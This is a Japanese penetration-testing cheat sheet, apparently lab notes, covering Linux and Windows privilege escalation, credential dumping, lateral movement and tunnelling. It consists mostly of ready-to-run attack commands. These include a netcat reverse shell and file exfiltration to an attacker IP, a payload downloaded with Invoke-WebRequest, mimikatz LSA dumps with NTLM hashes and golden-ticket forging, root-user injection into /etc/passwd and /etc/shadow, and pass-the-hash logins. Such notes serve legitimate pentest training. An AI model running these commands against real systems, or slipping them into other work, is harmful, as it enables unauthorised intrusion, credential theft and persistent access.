Polkitとは、Linuxディストリビューションにデフォルトでインストールされているツールキットであり、特権プロセスを実行する際にあらかじめ設定されたポリシーに基づき認証等を提供する。

```shell
# Polkitのバージョンチェック
dpkg -l policykit-1
pkexec --version

# SUID設定状況の確認
 ls -l $(which pkexec)

# PoCコードの入手およびソースファイルの配送
https://github.com/arthepsy/CVE-2021-4034

# ターゲット端末内でのビルドおよび実行
gcc -o cve-2021-4034 cve-2021-4034.c
```
> * [arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)](https://github.com/arthepsy/CVE-2021-4034)
> * [LucasPDiniz/CVE-2021-3560: Exploitation of the CVE-2021-3560 polkit vulnerability](https://github.com/LucasPDiniz/CVE-2021-3560)
> * [secnigma/CVE-2021-3560-Polkit-Privilege-Esclation](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation)

### PATHの悪用
root権限で実行できるプログラムがフルパス指定ではないコマンドを用いたものである場合、実行者のパスを用いてコマンドを探す。  
これを悪用し、自身のパスを変更してシェルを起動させる。

```shell
mkdir /home/<username>/bin
echo "/bin/sh" > /home/<username>/bin/<command>
chmod 777 /home/<username>/bin/<command>
export PATH=/home/<username>/bin:$PATH
```

> [TryHackMe | Cyber Security Training](https://tryhackme.com/room/linprivesc)

### capabilityの悪用

探索方法
```shell
getcap -r / 2>/dev/null
```

活用例
```bash
user@lab:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
user@lab:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
# id
uid=0(root) gid=1001(user) groups=1001(user)
```

## Windows

### サマリ
```shell
# 編集権限があるサービスのチェック
cmd> accesschk.exe "<Everyone or Username>" -cvuqw * -accepteula

# タスクスケジューラのチェック
PS> schtasks /query /fo LIST /v | select-string "Task To Run"

# サービスの一覧チェック
## 概要表示
cmd> wmic service list brief
PS> Get-CimInstance -ClassName win32_service | Select Name,State,PathName

## ちょっとした詳細表示
cmd> sc query

# スペース文字を含むサービスパスのチェック
cmd> wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

## Windows組み込みサービスを除外したバージョン
cmd> wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

# サービスの詳細チェック
cmd> sc qc <SERVICE_NAME>

## サービスの編集
cmd> sc config

## サービスの作成
cmd> sc create <SERVICE_NAME> binpath="<program path>"
```

### 権限付与
```shell
# ファイルの権限チェック
cmd> icacls <file>

# 権限付与
## /T：再帰的に全ファイルへ付与
cmd> icacls <file> /grant <username>:f /T

```


### サービスの不正な変数の悪用
サービスはDACLによるアクセス制御が可能であるため、だれでも編集権限を持つサービスがある場合は悪用することが可能。

``` shell
# 脆弱なサービスの発見方法
## Sysinternalsに同梱されているaccesschk.exeを利用する
accesschk.exe "<Everyone or Username>" -cvuqw * -accepteula

# サービスの詳細確認
sc qc <service name>

# サービスの登録
sc create <service name> binpath= "<program bin path>"

# サービスの編集
sc config <service name> binpath="<program bin path>"
```

#### サービスの再起動
```powershell
# PowerShellの場合
PS > sc.exe stop <Service Name>
PS > sc.exe start <Service Name>

# cmdの場合
sc stop <Service Name>
sc start <Service Name>
```

### 引用符のないサービスパスの悪用（Unquoted Service Path）

探索および悪用
```shell
# サービス探索
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# フォルダパスの権限確認
icacls <path>

# アクセス権限の付与
icacls <file path> /grant <ユーザー名>:f
```

#### 仕組み
**`C:\test\new folder\my app.exe`の参照順序**
1. `C:\test\new.exe`
    - 引数として次が認識される：`folder\my app.exe`
2. `C:\test\new folder\my.exe`
    - 引数として次が認識される：`app.exe`
3. `C:\test\new folder\my app.exe`
    - 引数認識はない


**対策（ダブルクォーテーションを付与したパスの登録）**
* `binpath= "\"C:\Program Files\hoge\hoge.exe\""`

#### 参考
空白を含むパスにおいて、ダブルクォーテーションで囲われていない場合は参照順序に基づき悪用できる可能性がある。  
引用符の無いサービスパス(Unquoted Service Path)では、パスの検索順序に「サービスパスを空白文字で分割し、先頭からプログラムを検索する」という仕様がある。  
正確にはWinAPIのCreateProcessの仕様であるため、当該関数を利用する場合は本仕様が適用される。

> * [CreateProcessA function (processthreadsapi.h) - Win32 apps](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)
> * [Windows Privilege Escalation — Part 1 (Unquoted Service Path) | by Sumit Verma | Medium](https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae)
> * [Windows-Local-Privilege-Escalation-Cookbook/Notes/UnquotedServicePath.md at master · nickvourd/Windows-Local-Privilege-Escalation-Cookboo](https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/UnquotedServicePath.md)


# Credential Access
## Linux
### ヒストリー
```shell
# コマンド
history

# ファイル
cat ~/.bash_history
```

### クレデンシャルファイル
```shell
sudo unshadow ./passwd ./shadow > hash.txt
john --format=crypt hash.txt
```

また、`minipenguin`を用いることにより、`/proc`配下に保存されているプロセスに関する情報のうち、クリアテキストで保存されているクレデンシャル情報を取得することができる。


## Windows
### 構成ファイルの確認
Windows展開サービスを利用した無人インストール時にはプレーンテキストでパスワードが保存されている可能性がある。

- `C:\Unattend.xml`
- `C:\Windows\Panther\Unattend.xml`
- `C:\Windows\Panther\Unattend\Unattend.xml`
- `C:\Windows\system32\sysprep.inf`
- `C:\Windows\system32\sysprep\sysprep.xml`

以下が内容例である
```xml
<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>
```

### Powershellのヒストリー
```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

### クレデンシャルファイル
```shell
# ファイルの探索
dir /s *secret.txt

# zipファイルのパスワード解析
## 1パスワード付きzipファイルからハッシュファイルを作成する
zip2john <target zip path> > <export hash file path>

## 2. ローカルパスワードクラック
john --wordlist=<word list path> <hash file path>

## 3. パスワードを用いたzip解凍
unzip -P <password> <target zip path>
```

### 資格情報
```terminal
cmdkey /list
runas /savecred /user:<UserName> cmd.exe
```

### 保存されたSSHのセッション情報
```terminal
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

### 登録されたタスク
```terminal
schtasks
schtasks /query /tn <task name> /fo list /v
```

### 資格情報のダンプ
* UIDが500番台は管理者権限を有している
    - `ユーザー名：UID：ハッシュ（LM:NTLM）`
> [人の造りしもの――“パスワード”の破られ方と守り方：セキュリティ対策の「ある視点」（9）（2/4 ページ） - ＠IT](https://atmarkit.itmedia.co.jp/ait/articles/0805/08/news151_2.html)


#### LSAダンプ
* `mimikatz.exe`を用いてLSAダンプを実施する
* LSAは整合性レベル`High`であるため管理者権限が必要となる。また`SeDebugPrivilege`権限も必要となる。
```shell
# デバッグ特権（SeDebugPrivilege）の確認と取得
mimikatz # privilege::debug
Privilege '20' OK

# LSAダンプの実行
sekurlsa::logonpasswords
```

##### NTLMハッシュのダンプ

```shell
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 2777b7fec870e04dda00cd7260f7bee6

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
```

##### ゴールデンチケットの作成
```shell
# TGSアカウントのハッシュとセキュリティ識別子の把握
# User名がkrbtgtであることを確認し、セキュリティ識別子とPrimary NTLM値をコピーする
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : 5508500012cc005cf7082a9a89ebdfdf
    LM   :
  Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
    ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
    lm  - 0: 372f405db05d3cafd27f8e6a4a097b2c

 * WDigest
    01  49a8de3b6c7ae1ddf36aa868e68cd9ea
    02  7902703149b131c57e5253fd9ea710d0
    03  71288a6388fb28088a434d3705cc6f2a
    04  49a8de3b6c7ae1ddf36aa868e68cd9ea
    05  7902703149b131c57e5253fd9ea710d0
    06  df5ad3cc1ff643663d85dabc81432a81
    07  49a8de3b6c7ae1ddf36aa868e68cd9ea
    08  a489809bd0f8e525f450fac01ea2054b
    09  19e54fd00868c3b0b35b5e0926934c99
    10  4462ea84c5537142029ea1b354cd25fa
    11  6773fcbf03fd29e51720f2c5087cb81c
    12  19e54fd00868c3b0b35b5e0926934c99
    13  52902abbeec1f1d3b46a7bd5adab3b57
    14  6773fcbf03fd29e51720f2c5087cb81c
    15  8f2593c344922717d05d537487a1336d
    16  49c009813995b032cc1f1a181eaadee4
    17  8552f561e937ad7c13a0dca4e9b0b25a
    18  cc18f1d9a1f4d28b58a063f69fa54f27
    19  12ae8a0629634a31aa63d6f422a14953
    20  b6392b0471c53dd2379dcc570816ba10
    21  7ab113cb39aa4be369710f6926b68094
    22  7ab113cb39aa4be369710f6926b68094
    23  e38f8bc728b21b85602231dba189c5be
    24  4700657dde6382cd7b990fb042b00f9e
    25  8f46d9db219cbd64fb61ba4fdb1c9ba7
    26  36b6a21f031bf361ce38d4d8ad39ee0f
    27  e69385ee50f9d3e105f50c61c53e718e
    28  ca006400aefe845da46b137b5b50f371
    29  15a607251e3a2973a843e09c008c32e3

 * Kerberos
    Default Salt : CONTROLLER.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 64ef5d43922f3b5d

 * Kerberos-Newer-Keys
    Default Salt : CONTROLLER.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
      aes128_hmac       (4096) : 7eb35bddd529c0614e5ad9db4c798066
      des_cbc_md5       (4096) : 64ef5d43922f3b5d

 * NTLM-Strong-NTOWF
    Random Value : 666caaaaf30081f30211bd7fa445fec4

# チケットの作成
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
User      : Administrator
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-849420856-2351964222-986696166
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime  : 10/15/2022 1:34:04 AM ; 10/12/2032 1:34:04 AM ; 10/12/2032 1:34:04 AM
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !
```

#### Metasploitを利用する場合

```shell
# 権限の確認
## SeImpersonatePrivilegeを有していること
## SeDebugPrivilegeも有しているとなおよし
whoami /priv

# トークンの偽装
meterpriter> load incognito
meterpriter> list_tokens -g
meterpriter> impersonate_token "BUILTIN\Administrator"

# プロセスのマイグレーション（services.exeにマイグレーション）
meterpriter> migrate <pid>
meterpriter> getpid
```

> [incognitoから紐解くトークン偽装攻撃の仕組み - NFLabs. エンジニアブログ](https://blog.nflabs.jp/entry/2021/12/20/094644)

```shell
# lsass.exeにmigrateする必要がある場合ものある
meterpriter> migrate <PID>
meterpriter> hashdump
```
> UACバイパス
>> * [metasploit-framework/documentation/modules/exploit/windows/local/bypassuac_silentcleanup.md at master · rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/local/bypassuac_silentcleanup.md)


> ローカルでの権限昇格チェック
>> * [metasploit-framework/documentation/modules/post/multi/recon/local_exploit_suggester.md at master · rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/recon/local_exploit_suggester.md)
>> * [Metasploit Local Exploit Suggester | Rapid7 Blog](https://www.rapid7.com/blog/post/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/)


#### Printspooferの悪用
```shell
# 権限の確認
# SeImpersonatePrivilegeがEnabledになっていること
c:\Windows\Temp>whoami
iis apppool\defaultapppool

c:\Windows\Temp>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


# 権限昇格
c:\Windows\Temp>powershell -c "Invoke-WebRequest -Uri 'http://10.13.1.50:8080/PrintSpoofer64.exe' -OutFile 'C:\Windows\Temp\PrintSpoofer64.exe'"

c:\Windows\Temp>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

PrintSpooferを悪用する場合、インタラクトできない場合はリバースシェルを張ることによりシステム権限を有したシェルをゲットできる。  
なおシェルを張るために事前にnetcatを準備しておく。
```shell
PrintSpoofer64.exe -c "\.nc64.exe <ataccker IP> <ataccker Port> -e cmd"
```

> [itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"](https://github.com/itm4n/PrintSpoofer)


#### impaketを使う場合
ドメイン管理者グループに属している資格情報を有している場合、他ユーザーの資格情報をSAMデータベースからダンプできる。

```shell
python3 /<your install path>/impacket/examples/secretsdump <domain name>/<username>@<IP>
```

# Lateral Movement
## Linux
SSHを用いた横展開
```shell
# オプションはリバースシェルで取得したシェルの場合、対話が成り立たないため対話しないようにするもの
ssh -i id_rsa testuser@<target_ip> -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null
chcp 65001
```

## Windows
`impacket-psexec`や`PsExec.exe`を用いることにより横展開可能
* `impacket-psexec`：Pass the Hash攻撃可能
    ```shell
    impacket-psexec <username>:<plain password>@<target IP>
    impacket-psexec -hashes ":<hash>" <username>@<target IP>
    ```
* `PsExec.exe`：NTLMの利用はできない。Sysinternalsソフトウェア
    ```shell
    PsExec.exe -accepteula -i -u <username> -p <password> \\<target IP> cmd
    ```
* `evil-winrm`winRMを用いた展開、平文、Pass the Hashともに利用可能
    ```shell
    evil-winrm -i <target IP> -u <username> -p <password>
    evil-winrm -i <target IP> -u <username> -H <NTLM hash>
    ```

# その他解析系
## 画像ファイルの解析
### ファイルの埋め込み確認
```shell
binwalk <ファイル>
```

### ステガノグラフィー確認
パスフレーズが必要
#### 埋め込み確認
```shell
steghide info <ファイル>
```

#### データ抽出
```shell
steghide extract -xf <ファイル>
```
パスワードがない場合、オンラインツールを利用する
> https://futureboy.us/stegano/decinput.html

## PDFファイルの解析
### PDFファイル内部の画像抽出
```shell
pdfimages <Target PDF> <Export File Name>
```
# Tips
## ペンテストでよく使うコマンド（Linux基礎）
* `find`
    - `-name`：名前で検索
    - `-type`：ファイルタイプ検索
    - `-exec`：実行結果を他のコマンドに渡す
    - `-mtime`：更新日時で検索
        - n*24時間 以上過去に更新したもの、となる
* `grep`
    - `-e`：or検索
    - `-r`：再帰検索
    - [man grep (1): パターンにマッチする行を表示する](https://ja.manpages.org/grep)
* リダイレクト
    - `コマンド 2> コマンド`：エラー出力をリダイレクト
    - `コマンド > コマンド 2>&1`：標準出力、エラー出力をファイルへ書き込む

## viをカスタマイズする
```shell
touch ~/.vimrc

# 方向キーを使えるようにする
echo "set nocompatible" > ~/.vimrc

# バックスペースを有効にする
echo "backspace=indent,eol,start" >> ~/.vimrc
```

## Windowsバイナリ in Kali Linux
KaliにはWindowsで使える便利なバイナリファイルを標準で格納している

```shell
$ ls -l /usr/share/windows-resources/binaries
合計 2392
drwxr-xr-x 2 root root   4096  5月 20  2024 enumplus
-rwxr-xr-x 1 root root  53248  3月  3  2023 exe2bat.exe
drwxr-xr-x 2 root root   4096  5月 20  2024 fgdump
drwxr-xr-x 2 root root   4096  5月 20  2024 fport
-rwxr-xr-x 1 root root  23552  3月  3  2023 klogger.exe
drwxr-xr-x 2 root root   4096  5月 20  2024 mbenum
drwxr-xr-x 4 root root   4096  5月 20  2024 nbtenum
-rwxr-xr-x 1 root root  59392  3月  3  2023 nc.exe
-rwxr-xr-x 1 root root 837936  3月  3  2023 plink.exe
-rwxr-xr-x 1 root root 704512  3月  3  2023 radmin.exe
-rwxr-xr-x 1 root root 364544  3月  3  2023 vncviewer.exe
-rwxr-xr-x 1 root root 308736  3月  3  2023 wget.exe
-rwxr-xr-x 1 root root  66560  3月  3  2023 whoami.exe
```

## ファイル探索
### 共通
```shell
meterpriter> search -f <ファイル名>
```

### Linux
```shell
find / -name "username" -or -name "password" 2>/dev/null
find / -name *secret* 2>/dev/null
```

### Windows
```shell
dir /s *secret.txt
```

## ファイル転送
### Linux
* SCP
* Python
    ```shell
    python3 -m http.server 8080
    ```
* nc
    ```shell
    # 送信側
    nc <ataccker IP> <ataccker Port> < secret.txt
    
    # 受信側
    nc -lnvp <port> > recv_file.txt
    ```


### Windows
```shell
# コマンドプロンプト
curl http://<IP>:<Port>/<file> -o <path to save>

# Powershell
Invoke-WebRequest -uri http://<IP>:<Port>/<file> -outfile <path to save>
```


## RDP（Linux → Windows）
今までのKaliだとこっち
```shell
# ID/PWによる認証
xfreerdp /dynamic-resolution /cert:ignore /v:<target IP> /u:<username> /p:<password>

# SOCKS5プロキシを利用する場合
xfreerdp /proxy:socks5://<host>:<port> /dynamic-resolution /cert:ignore /v:<target IP> /u:<username> /p:<password>

# Pass The Hashでの認証
xfreerdp /dynamic-resolution /cert:ignore /v:<target IP> /u:<username> /pth:<hash>
```

最近のKaliだとこっち
```shell
# ID/PWによる認証
xfreerdp3 /dynamic-resolution /cert:ignore /v:<target IP> /u:<username> /p:<password>

# SOCKS5プロキシを利用する場合
xfreerdp3 /proxy:socks5://<host>:<port> /dynamic-resolution /cert:ignore /v:<target IP> /u:<username> /p:<password>

# Pass The Hashでの認証
xfreerdp3 /dynamic-resolution /cert:ignore /v:<target IP> /u:<username> /pth:<hash>
```

## シェルのグレードアップ

### パターン1

```shell
# インストールされているPythonのバージョン確認
python -V
python3 -V

# bashの起動
## Python2
python -c 'import pty; pty.spawn("/bin/bash")'

# Python3
python3 -c 'import pty; pty.spawn("/bin/bash")'

# clearなどのコマンドを利用できるように
export TERM=xterm

# オートコンプリート、矢印等を利用できるように  
^Z（Ctrl + Zでバックグラウンドへ移動させる）
stty raw -echo; fg
```

### パターン2
```shell
script /dev/null -qc /bin/bash
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```

## 内部ネットワークへの接続
### ローカルポートフォワーディング（SSH）
SSH接続先端末の奥にいる端末へ接続するため、SSH接続先を踏み台として通信を奥の端末に接続する。そのためにはポートフォワーディングを利用する。  
ポートフォワーディングは特定のポートに届いたパケットを別のアドレスのポートに転送する技術である。

※ポートフォワーディングを行う際、踏み台は認証不要
```shell
# -L：ローカルポートフォワーディング（SSH元の端末のポート番号：フォワーディング先の端末IP：ポート）
ssh -N -L 8080:192.168.11.xx:80 user@example.com
```

ローカルポートフォワーディングチャネルを経由してSCPでファイルを取得する
```shell
scp -i /home/kali/id_rsa -P 8080 testuser@localhost:"/C:/Users/testuser/Desktop/Pentest/flag.txt" .
```

### ローカルポートフォワーディング（Chisel）

```shell:構成
[Kali / Chisel Client](6600) --> (192.168.1.9:6601)[Ext / Chisel Server](172.16.0.9) --> (172.16.0.10:8080)[Int]
```

```shell:Chiel Server（Ext）
chisel server --port 6601
```

```shell:Chiel Client（Kali）
chisel client 192.168.1.9:6601 127.0.0.1:6600:172.16.0.10:8080
```

### リモートポートフォワーディング（SSH）
中継サーバーで以下のコマンドを実施する
```shell
# ssh -N -R 攻撃者端末のフォワーディング用ポート:奥の端末のIP:奥の端末のアクセスしたいポート 攻撃者端末のアカウント@攻撃者端末のIP（ここは攻撃者端末へSSHするイメージ）
ssh -N -R <attacker port>:<remote IP>:<attacker Port> <ataccker PC name>@<attacker IP>

# バックグラウンドで実行する場合
ssh -fNR <attacker port>:<remote IP>:<attacker Port> <ataccker PC name>@<attacker IP>
```

### リモートポートフォワーディング（Chisel）
```shell:構成
[Kali / Chisel Server](6600,6601) (192.168.1.2:22) <-- (192.168.1.9)[Ext / Chisel Client](172.16.0.2) --> (172.16.0.10:8080)[Int]
```

```shell:Chisel Server（Kali）
chisel server --reverse --port 6601
```

```shell:Chisel Client（Ext）
# 6600：Kaliのローカルポート
# 6601：Chisel接続待ち受け用ポート
chisel client 192.168.1.2:6601 R:6600:172.16.0.10:8080
```

### ダイナミックポートフォワーディング（SSH）
SOCKSプロキシを用いてダイナミックポートフォワーディングを行う

```shell
# proxychainsの設定
sudo vim /etc/proxychains4.conf

## タイムアウト値のチューニング
tcp_read_time_out 150
tcp_connect_time_out 80

## ローカルポートの設定
[ProxyList]
socks5 127.0.0.1 1080

# SSHを用いてトンネル構築
# バックグラウンドで実行する場合
ssh -fND 127.0.0.1:1080 <username>@<target IP> -p <target IP port>

# SOCKSプロキシ経由での通信
# SOCKSプロキシはTCPコネクションが確立されなければならないため、コネクトスキャン（-sT）を設定する
proxychains nmap -sT -Pn <internal target IP>
```

### ダイナミックポートフォワーディング（Chisel）
```shell:構成
[Kali / Chisel Client](1080) --> (192.168.1.9:6601)[Ext / Chisel Server](172.16.0.9) --> (172.16.0.10:8080)[Int]
```

```shell:Chisel Server（Ext）
chisel server --socks5 --port 6601
```

```shell:Chiel Client（Kali）
# 1080：ローカルのSOCK Proxyのポートを指定
# socks：SOCKS Proxyを起動
chisel client 192.168.1.9:6601 1080:socks
```

### リバースダイナミックポートフォワーディング（SSH）
中継サーバーで以下のコマンドを実施する
```shell
ssh -N -R 1080 kali@<kali IP>

# バックグラウンドで実行する場合
ssh -fNR 1080 kali@<kali IP>
```

### リバースダイナミックポートフォワーディング（Chisel）
```shell:構成
[Kali / Chisel Server](6600,6601) (192.168.1.2:22) <-- (192.168.1.9)[Ext / Chisel Client](172.16.0.2) --> (172.16.0.10:8080)[Int]
```

```shell:Chiel Server（Kali）
chisel server --reverse --port 6600
```

```shell:Chiel Client（Kali）
chisel client 192.168.1.2:6600 R:1080:socks
```

## Linuxのサービス操作
### Unitファイルの作成
```shell
vi /etc/systemd/system/reverse.service
```

ユニットファイルの中身。なお、Unitセクションに記載されている意味は、ネットワークが完全に構成されてからサービスが実行されるようにするためのものである。
```config
[Unit]
After=network-online.target
Wants=network-online.target
[service]
ExecStart=<実行したいコマンド>
Type=oneshot
[Install]
WantedBy=multi-user.target
```

### Unitファイルの反映
```shell
# Unitファイルの更新
sudo systemctl daemon-reload

# 自動起動の有効化
sudo systemctl enable reverse.service
```

## ファイル編集を通じた権限昇格
`chmod`コマンドを管理者権限で利用できる場合の手法。この例では`/etc/shadow`を編集している。

### ハッシュの反映
パスワードは`kali`
```shell
$ mkpasswd -m sha-512 -S saltsalt -s
Password:
$5$saltsalt$c4u2E6kOcEnHR95ytO7tVAOw1ROuO.4W0MYuHxj.Yn8
```

生成した値を`/etc/shadow`へ書き込む
```shell
$ head -n 1 /etc/shadow
root:$5$saltsalt$c4u2E6kOcEnHR95ytO7tVAOw1ROuO.4W0MYuHxj.Yn8::0:::::
```

### 権限昇格
```shell
$ which su
/bin/su
$ sudo chmod u+s /bin/su
$ su root
Password:
# pwd
/home/mihari
# whoami
root
```

> [Day 40: Privilege Escalation (Linux) by Modifying Shadow File for the Easy Win | by Atumcell Labs | Medium](https://int0x33.medium.com/day-40-privilege-escalation-linux-by-modifying-shadow-file-for-the-easy-win-aff61c1c14ed)


`/etc/passwd`を編集する場合はユーザー追加を行う。

```shell
# ハッシュ値を生成
openssl passwd -1 -salt <任意のsalt> <任意のパスワード>

# passwdへユーザー情報を追記
## [ユーザ名]:[ハッシュ]:[ユーザーID]:[グループID]:[コメント(任意)]:/root:/bin/bash
## ユーザーIDとグループIDが0であればrootとなる
echo 'hoge:<generated hash>:0:0:helloworld:/root:/bin/bash' >> /etc/passwd

# suコマンドにSUIDを設定
sudo chmod u+s /bin/su

# 追加したユーザーへ切り替え
su hoge
```

## rshellからの脱出
ID, PWが判明している前提
```shell
sshpass -p '<password>' ssh <username>@<IP> -t bash
```

## パスワードハッシュの解析
サイトを活用した解析

* [CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.](https://crackstation.net/)

### John the Ripper

#### キャッシュの削除
```shell
rm ~/.john/john.pot
```

#### ハッシュタイプが不明な場合
```shell
john --format=GOST <ハッシュファイル>
```

#### パスワードリストを指定する
```shell
john --wordlist:<ファイルパス>
```

#### NTLMハッシュの解析
```shell
# John The Ripperを使う場合
john --format=NT <ハッシュファイル>

64f12cddaa88057e06a81b54e73b949b:Password1
c39f2beb3d2ec06a62cb887fb391dee0:Password2
c4b0e1b10c7ce2c4723b4e2407ef81a2:Password3
2777b7fec870e04dda00cd7260f7bee6:P@$$W0rd
f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#
```

### hashcatを使う場合
* ハッシュタイプを確認してHash-Modeを指定すること
    - [example_hashes [hashcat wiki]](https://hashcat.net/wiki/doku.php?id=example_hashes)

```shell
# hashcatを使う場合
hashcat -m 1000 ./mimikatz_hash.txt /usr/share/wordlists/rockyou.txt
```

## icaclsの権限説明

|フラグ|権限|Full Description|
|---|---|---|
|F|フル|Full Access|
|M|変更|Modify|
|RX|読み取りと実行|Read eXecute|
|R|読み取り専用|Read|
|W|書き込み専用|Write|
|OI|オブジェクトの継承|Object Inherit|
|CI|コンテナの継承|Container Inherit|
|IO|継承のみ|Inherit Only|
|AD|アクセス拒否|Access Denied|
|I|継承された権限|Inherited|

```
ICACLS は、ACE エントリの正規の順序を維持します:
        明示的な拒否内容
        明示的な許可内容
        継承された拒否内容
        継承された許可内容

perm はアクセス許可マスクであり、次の 2 種類の方法で指定できます:
    単純な権限を列挙:
            N - アクセス権なし
            F - フル アクセス権
            M - 変更アクセス権
            RX - 読み取りと実行のアクセス権
            R - 読み取り専用アクセス権
            W - 書き込み専用アクセス権
            D - 削除アクセス権
    特定の権限をコンマ区切りでかっこ内に列挙:
            DE - 削除
            RC - 読み取り制御
            WDAC - DAC の書き込み
            WO - 所有者の書き込み
            S - 同期
            AS - システム セキュリティへのアクセス
            MA - 無制限
            GR - 一般的な読み取り
            GW - 一般的な書き込み
            GE - 一般的な実行
            GA - 一般的なすべての操作
            RD - データの読み取り/ディレクトリの一覧表示
            WD - データの書き込み/ファイルの追加
            AD - データの追加/サブディレクトリの追加
            REA - 拡張属性の読み取り
            WEA - 拡張属性の書き込み
            X - 実行/スキャン
            DC - 子の削除
            RA - 属性の読み取り
            WA - 属性の書き込み
    継承権限はどちらの形式の前にも配置でき、ディレクトリにのみ適用されます:
            (OI) - オブジェクト継承
            (CI) - コンテナー継承
            (IO) - 継承のみ
            (NP) - 継承を適用しない
            (I) - 親コンテナーから継承した権限
```

## netcatの各種準備
### オプション説明
https://docs.oracle.com/cd/E56342_01/html/E54074/netcat-1.html

|引数|説明|
|---|---|
|-l|着信待ちモード（サーバーモード）|
|-v|詳細の出力|
|-n|逆引き解決しない|
|-p|ポート指定|

サーバーモード
```shell
nc -lvnp 9999
```
クライアントモード
```shell
nc <IP> <Port>

# 接続元ポート番号をTCP/53に設定し、名前解決しない
nc -nv -p 53 <IP> <Port>
```


## Metasploit用のデータベース準備
https://www.offensive-security.com/metasploit-unleashed/using-databases/

1. データベースの起動
```shell
systemctl start postgresql
```
2. データベースの初期化
```shell
msfdb init
```
3. データベースとの接続状況確認
```shell
msf> db_status
```
4. ワークスペースの準備
```shell
# ワークスペース一覧表示
msf> workspace -l

# ワークスペースの削除
msf> workspace -d <workspace name>

# ワークスペースの追加
msf> workspace -a <workspace name>
```

5. スキャン結果のホストデータを活用する
```shell
msf> use auxiliary/scanner/ftp/anonymous
msf> hosts -R
msf> show options
Module options (auxiliary/scanner/ftp/anonymous):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS   10.10.171.100        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    21                   yes       The target port (TCP)
   THREADS  1                    yes       The number of concurrent threads (max one per host)
```

## 参考サイト

|利用フェーズ|サイト名|URL|
|---|---|---|
|偵察|Nmap オプションマニュアル|https://nmap.org/book/man-briefoptions.html|
|初期アクセス|SQLインジェクション チートシート|http://www.byakuya-shobo.co.jp/hj/moh/sqlinjectioncheatsheet.html|
|初期アクセス|SQLmap マニュアル|https://github.com/sqlmapproject/sqlmap/wiki/Usage|
|持続化|リバースシェル ジェネレーター|https://www.revshells.com/|
|持続化|PHP リバースシェル|https://github.com/pentestmonkey/php-reverse-shell|
